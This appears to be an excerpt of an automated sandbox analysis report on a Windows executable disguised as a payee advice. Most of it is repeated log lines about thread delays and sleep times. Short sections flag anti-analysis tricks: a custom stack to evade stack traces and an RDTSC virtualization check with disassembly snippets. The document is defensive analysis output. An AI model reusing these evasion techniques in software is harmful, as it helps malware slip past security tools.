Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API/Special instruction interceptor: Address: 859F5D4
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API/Special instruction interceptor: Address: 69DF5D4

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	RDTSC instruction interceptor: First address: 85408CB second address: 85408CB instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FD974CD8A53h 0x00000006 test ecx, ebx 0x00000008 inc ebp 0x00000009 test eax, 2C29B192h 0x0000000e inc ebx 0x0000000f push esi 0x00000010 mov esi, 5FBFA3CCh 0x00000015 cmp esi, 33h 0x00000018 jl 00007FD974D3945Bh 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	RDTSC instruction interceptor: First address: 69808CB second address: 69808CB instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FD9756E0233h 0x00000006 test ecx, ebx 0x00000008 inc ebp 0x00000009 test eax, 2C29B192h 0x0000000e inc ebx 0x0000000f push esi 0x00000010 mov esi, 5FBFA3CCh 0x00000015 cmp esi, 33h 0x00000018 jl 00007FD975740C3Bh 0x0000001e pop esi 0x0000001f rdtsc

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Memory allocated: 120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Memory allocated: 37490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Memory allocated: 39490000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598107	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597452	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597276	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597162	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595342	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594902	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594661	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594526	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594187	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594078	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Window / User API: threadDelayed 1496			Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Window / User API: threadDelayed 8341			Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 7056	Thread sleep count: 1496 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 7056	Thread sleep count: 8341 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598107s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597276s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597162s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595342s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -595015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594902s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594661s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594526s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5812	Thread sleep time: -594078s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405772
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0040622D FindFirstFileW,FindClose,	0_2_0040622D
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00402770 FindFirstFileW,	4_2_00402770
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405772
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0040622D FindFirstFileW,FindClose,	4_2_0040622D

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598107	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597452	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597276	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597162	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595469	Jump to behavior
